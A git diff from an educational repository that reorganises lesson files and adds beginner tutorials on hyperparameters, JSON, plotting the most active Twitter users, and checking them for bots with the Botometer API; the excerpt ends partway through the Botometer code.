diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters.md
new file mode 100644
index 00000000..f7bb06f1
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters.md
@@ -0,0 +1,5 @@
+# Hyperparameters
+
+Hyperparameters are parameters we set for our machine learning models before they begin learning.
+
+We can tune how well our models perform by tweaking the values of each hyperparameters, meaning each combination of hyperparameters yield a different model.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json 2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json 2.md
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json 3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json 3.md
new file mode 100644
index 00000000..4bf4eed8
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json 3.md
@@ -0,0 +1,28 @@
+
+
+
+
+JSON stands for JavaScript Object Notation. All API data is returned in JSON format. JSON data looks a lot like a Python dictionary where you have a key on the left and a value on the right.
+
+Example: Lets say we have the following data returned from a movie API.
+
+ `"movies": {
+ "Thor": {
+ "Rating": 4,
+ },
+ "Spiderman": {
+ "Rating": 5,
+ },
+ "Superman": {
+ "Rating": 3,
+ }
+ }`
+
+Assume that the above JSON data is stored in a variable called `movie_list`.
+
+To get the rating data about Thor, we need to use square brackets to get specific data that we need. To get the rating on Thor we would need to do:
+
+`movie_list["Thor"]["Rating"]` to get Thor's movie rating. `movie_list["Thor"]["Rating"]` yields a value of 4.
+
+If we only wanted to get Thor's object we would use:
+`movie_list["Thor"]` to get the Thor object.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json.md
new file mode 100644
index 00000000..4bf4eed8
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/json.md
@@ -0,0 +1,28 @@
+
+
+
+
+JSON stands for JavaScript Object Notation. All API data is returned in JSON format. JSON data looks a lot like a Python dictionary where you have a key on the left and a value on the right.
+
+Example: Lets say we have the following data returned from a movie API.
+
+ `"movies": {
+ "Thor": {
+ "Rating": 4,
+ },
+ "Spiderman": {
+ "Rating": 5,
+ },
+ "Superman": {
+ "Rating": 3,
+ }
+ }`
+
+Assume that the above JSON data is stored in a variable called `movie_list`.
+
+To get the rating data about Thor, we need to use square brackets to get specific data that we need. To get the rating on Thor we would need to do:
+
+`movie_list["Thor"]["Rating"]` to get Thor's movie rating. `movie_list["Thor"]["Rating"]` yields a value of 4.
+
+If we only wanted to get Thor's object we would use:
+`movie_list["Thor"]` to get the Thor object.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/CountVectorizer.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/CountVectorizer.png
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/CountVectorizer.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/CountVectorizer.png
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Datafile.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Datafile.png
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Datafile.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Datafile.png
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/KeithGalliGithub.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/KeithGalliGithub.png
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/KeithGalliGithub.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/KeithGalliGithub.png
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/1.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/1.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/1.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/1.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/10.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/10.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/10.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/10.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/12.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/12.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/12.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/12.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/13.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/13.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/13.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/13.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/14.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/14.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/14.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/14.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/15.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/15.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/15.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/15.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/16.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/16.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/16.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/16.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/17.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/17.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/17.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/17.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/18.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/18.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/18.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/18.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/19.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/19.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/19.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/19.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/2.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/2.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/2.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/20.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/20.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/20.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/20.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/3.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/3.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/3.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/4.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/4.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/4.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/4.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/5.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/5.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/5.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/5.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/6.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/6.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/6.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/6.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/7.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/7.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/7.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/7.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/8.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/8.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/8.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/8.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/9.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/9.md
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/9.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/9.md
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.06.26 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.06.26 PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.06.26 PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.06.26 PM.png
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.09.09 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.09.09 PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.09.09 PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.09.09 PM.png
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.13.05 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.13.05 PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.13.05 PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 1.13.05 PM.png
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.07.21 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.07.21 PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.07.21 PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.07.21 PM.png
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.16.39 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.16.39 PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.16.39 PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.16.39 PM.png
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.18.35 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.18.35 PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.18.35 PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.18.35 PM.png
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.51.53 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.51.53 PM 2.png
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.51.53 PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.51.53 PM 2.png
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.51.53 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.51.53 PM.png
new file mode 100644
index 00000000..01e2813f
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.51.53 PM.png differ
diff --git a/Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.55.26 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.55.26 PM 2.png
similarity index 100%
rename from Module_Twitter_API/activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.55.26 PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.55.26 PM 2.png
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.55.26 PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.55.26 PM.png
new file mode 100644
index 00000000..e044ecc6
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/other-activities/Act12_Intro to NLP/Screen Shot 2020-01-26 at 12.55.26 PM.png differ
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/.gitkeep b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/.gitkeep
similarity index 100%
rename from Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/.gitkeep
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/.gitkeep
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/1.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/1.md
new file mode 100644
index 00000000..bcb6fcbd
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/1.md
@@ -0,0 +1,25 @@
+
+
+## Detecting Bots
+
+Before get straight into the meat of this activity, we need to ask ourselves: what exactly are bots(in the realm of programming)?
+
+Think of a bot as a program that runs independently and continuously until it finishes its task. For example, a bot on Twitter would be an account run by a non-human program tweeting, liking, and retweeting posts.
+
+
+
+>This bot goes around and tweets a new color every hour!1
+
+Let's learn to find possible bots on Twitter!
+
+This following snippet of code will ask Twitter how many unique users there are and ,in turn, gives you access to this number. The *Username* column in this data frame is from your last activity, **Visualizing Twitter Trends**. When run, you will see something print like "There are 58932 different users" on your terminal.
+
+```python
+print("There are {} different users".format(tweets['Username'].nunique())
+```
+
+This information will give us a good picture of how many robots dwell amongst us later on!
+
+***
+
+1) https://discover.bot/bot-talk/popular-twitter-bots-2019/
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/2.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/2.md
new file mode 100644
index 00000000..52259166
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/2.md
@@ -0,0 +1,12 @@
+
+
+Now we are going to release our inner Sherlock Holmes🔍! We suspect that any user tweeting and retweeting thousands of times a day must be a **robot** (or a person how has a lot to say :0)!
+
+
+
+The following line of code will get our tweets from data frame which we made in a previous activity and sort them by their usernames. We will then be able to see all tweets each person is associated with and will be able to scan through our list and pick off the non-humans!
+
+```python
+usertweets = tweets.groupby('Username')
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/3.md
new file mode 100644
index 00000000..ec69fb2b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/3.md
@@ -0,0 +1,36 @@
+
+
+## Taking Top 25 Users
+
+Lets say we are lazy and don't want to scan a list of hundreds of users for the people who tweet/retweet the most?
+
+
+
+> Please don't be like Spongebob!
+
+Well, we can just let our code do all the work! In this case, let's say we only want to see the top 25 people.
+
+The following code snippet will sort the top 25 most active users in descending order and save them to the variable ` top_users`.
+
+```
+top_users = usertweets.count(['text'].sort_values(ascending = False))[:25]
+```
+
+We then convert the top_users list into a dictionary (i.e a key-value pair). But notice key-value pair here is that the number of tweets is the key and the value is the user(if there a re multiple users with the same tweet number then we associate a tweet count to the newest/latest user we find in our list).
+
+```
+top_users_dict = top_users.to_dict()
+```
+
+Next, we use the [sorted()](https://www.geeksforgeeks.org/sorted-function-python/) function from Python to organize the items in the dictionary. Setting the key argument to `lambda x:x[1]` sorts values of each item based on the value of key.
+
+```python
+user_ordered_dict = sorted(top_users_dict.items(), key=lambda x:x[1])
+```
+
+Finally, we reverse our sorted dictionary so that we can have our most active users at the start.
+
+```
+user_ordered_dict = user_ordered_dict[::-1]
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/4.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/4.md
new file mode 100644
index 00000000..c0290b19
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/4.md
@@ -0,0 +1,22 @@
+
+
+## Getting Our User Data
+
+Now we're just going to make 2 lists, one for the usernames and one with values. This will hold the information separately so we can use it for plotting our information later on.
+
+The following code will create `dic_keys` (a list that will hold usernames) and `dict_values` (which will hold values of that user).
+
+```python
+ dict_keys = []
+ dict_values = []
+```
+
+This following snippet of code will loop through the dictionary of data from 0 to 25(i.e the top 25 msot active users). While it loops through the top 25 users, it will extract their username and tweet/retweet count and put them in `dict_keys` and `dict_values`, respectively.
+
+```python
+for item in user_ordered_dict[0:25]:
+ dict_keys.append(item[0])
+ dict_values.append(item[1])
+```
+
+We will use this info in the coming slide to construct a graph to showcase our findings!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/5.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/5.md
new file mode 100644
index 00000000..3afd3aae
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/5.md
@@ -0,0 +1,57 @@
+5
+
+## Making a Bar Graph
+
+After getting all the data set up, let's plot it.
+
+The following line indicates the size of our graph.
+
+```
+fig = plt.figure(figsize = (15,15))
+```
+
+The next line prepares our x-axis for the 25 top users by making evenly spaced spots for it.
+
+```
+index = np.arange(25)
+```
+
+Now lets populate the empty data holder(which represents our x-axis values) with the user names of the 25 most active users(and also add line above it to make the graph/text separation more clear).
+
+```
+plt.bar(index, dict_values, edgecolor = 'black', linewidth=1)
+```
+
+It is also very important to label our axis so people know what they are looking at! So lets do just that:
+
+```
+plt.xlabel('Most active Users', fontsize = 18) // label for the x-axis
+plt.ylabel('Nº of Tweets', fontsize=20) // label y for the x-axis
+```
+
+Now lets give our x-axis tick marks. It will allow us to analyze the data better.
+
+```
+plt.xticks(index,dict_keys, fontsize=15, rotation=90)
+```
+
+Now lets give the graph a title and save it as a image named "Tweets_of_active_users.jpg".
+
+```
+plt.title('Number of tweets for the most active users', fontsize = 20)
+plt.savefig('Tweets_of_active_users.jpg')
+```
+
+Finally, lets make our graph appear for us!
+
+```python
+plt.show()
+```
+
+All of the functions are from the **matplotlib** library except arange() which is from **numpy**.
+
+When ran, you should have something like this.
+
+
+
+In this example plot we have here, we can see @CrytoKaku seems to have been the most active. Could he/she be a bot?
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/6.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/6.md
new file mode 100644
index 00000000..838e8e3d
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/6.md
@@ -0,0 +1,18 @@
+
+
+## Botometer
+
+Lucky us, people have already made tools for detecting twitter bots so we can check our *guesses against a source now*! And one such tool is "**Botometer**".
+
+To check it out, we can go on the [Botometer website]( https://botometer.iuni.iu.edu/#!/). We can input twitter user names and the tool will give is its best guess on whether than user is a bot or not.
+
+From the data you've gotten, enter the top most active user's username in the screen name bar and click check user button. Let's see if they really are a bot.
+
+
+An example of what you might get would be :
+
+
+In this example, we can see the the account @TDataScience is not likely a bot while @CAGeurope has a high chance of being a bot.
+
+Now you know how to detect bots on Twitter!
+
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_12.54.16_PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_12.54.16_PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_12.54.16_PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_12.54.16_PM.png
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_8.36.54_PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_8.36.54_PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_8.36.54_PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_8.36.54_PM.png
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_8.38.41_PM.png b/Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_8.38.41_PM.png
similarity index 100%
rename from Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_8.38.41_PM.png
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act7_Detecting Bots on Twitter/Screen_Shot_2020-01-12_at_8.38.41_PM.png
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/.gitkeep b/Computational-Social-Science-Twitter-Topic/other-activities/Act8_Making Own Twitter Bot/.gitkeep
similarity index 100%
rename from Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/.gitkeep
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act8_Making Own Twitter Bot/.gitkeep
diff --git a/Module_Twitter_API/activities/Act9_Hashtags Over Time/1.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/1 2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act9_Hashtags Over Time/1.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/1 2.md
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/1.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/1.md
new file mode 100644
index 00000000..a8a8f1dd
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/1.md
@@ -0,0 +1,56 @@
+
+
+
+
+# Twitter Visualisation
+
+In this activity, we will describe other awesome visualisations, while also exploring some more information that can be obtained from the downloaded *tweets*.
+
+We will start by discovering **information about the users** who are posting the *tweets*:
+
+```python
+#Lets take a look at the users who are posting these tweets:
+print("There are {} different users".format(tweets['Username'].nunique()))
+```
+
+In my case, the *tweets* were posted by **59508 different users**.
+
+Using our neatly prepared **dataframe** we can see who are the users that posted the most *tweets*, and something even cooler: see the chance of the highly active users being **Bots**!
+
+```python
+#Going to see who are the users who have tweeted or retweeted the #most and see how
+#Likely it is that they are bots
+usertweets = tweets.groupby('Username')
+#Taking the top 25 tweeting users
+top_users = usertweets.count()['text'].sort_values(ascending = False)[:25]
+top_users_dict = top_users.to_dict()
+user_ordered_dict =sorted(top_users_dict.items(), key=lambda x:x[1])
+user_ordered_dict = user_ordered_dict[::-1]
+#Now, like in the previous hashtags and mention cases, going to make #two lists, one with the username and one with the value
+dict_values = []
+dict_keys = []
+for item in user_ordered_dict[0:25]:
+ dict_keys.append(item[0])
+ dict_values.append(item[1])
+```
+
+This block of code is very similar to the ones we used in the last activity to see the most used *hashtags* or mentioned users. Now, we will plot the results.
+
+```python
+#Plot these results
+fig = plt.figure(figsize = (15,15))
+index = np.arange(25)
+plt.bar(index, dict_values, edgecolor = 'black', linewidth=1)
+plt.xlabel('Most active Users', fontsize = 18)
+plt.ylabel('Nº of Tweets', fontsize=20)
+plt.xticks(index,dict_keys, fontsize=15, rotation=90)
+plt.title('Number of tweets for the most active users', fontsize = 20)
+plt.savefig('Tweets_of_active_users.jpg')
+plt.show()
+```
+
+This is what you should get:
+
+
+
+As we can see, the **most active user** is *@CrytoKaku*, with more than 400 posted tweets. That is a lot! Is he/she a Bot? Lets check it out!
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act9_Hashtags Over Time/2.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/2 2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act9_Hashtags Over Time/2.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/2 2.md
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/2.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/2.md
new file mode 100644
index 00000000..d6c7c083
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/2.md
@@ -0,0 +1,103 @@
+
+
+
+
+# Check If a User is a Bot or Not
+
+For this we need to download and import the **Botometer** Python library, and get a key to be able to use their API. The information on how do to this can be found on the following link:
+
+[Botometer API Documentation (OSoMe) ](https://rapidapi.com/OSoMe/api/botometer?utm_source=mashape&utm_medium=301)
+
+Also, we will need to retrieve our **Twitter API keys**, as we will need them to allow Botometer to access the information from the accounts whose activity we want to study.
+
+
+
+
+First we will import both libraries. Take into account that Botometer and Tweepy both have to be **previously downloaded** using a package manager of your choice.
+
+```python
+#Now we will see the probabilities of each of the users being a bot #using the BOTOMETER API:
+import botometer
+import tweepy
+```
+
+After this, we will **input the API keys** that are needed:
+
+```python
+#Key from BOTOMETER API
+mashape_key = "ENTER BOTOMETER API KEY"
+#Dictionary with the credentials for the Twitter APIs
+twitter_app_auth = {
+ 'access_token' : "ENTER ACCESS TOKEN",
+ 'access_token_secret' : "ENTER ACCESS TOKEN SECRET",
+ 'consumer_key' : "ENTER CONSUMER KEY",
+ 'consumer_secret' : "ENTER CONSUMER SECRET",
+}
+```
+
+Like in the last activity, replace the `ENTER...` with the corresponding key and you’re good to go.
+
+Run the following block of code to access the **Botometer API,** and lets see which accounts have the highest chance of being Bots out of the top 25 tweeting users!
+
+```python
+#Connecting to the botometer API
+bom = botometer.Botometer(wait_on_ratelimit = True, mashape_key = mashape_key, **twitter_app_auth)
+#Returns a dictionary with the most active users and the porcentage #of likeliness of them bein a Bot using botometer
+bot_dict = {}
+top_users_list = dict_keys
+for user in top_users_list:
+ user = '@'+ user
+ try:
+ result = bom.check_account(user)
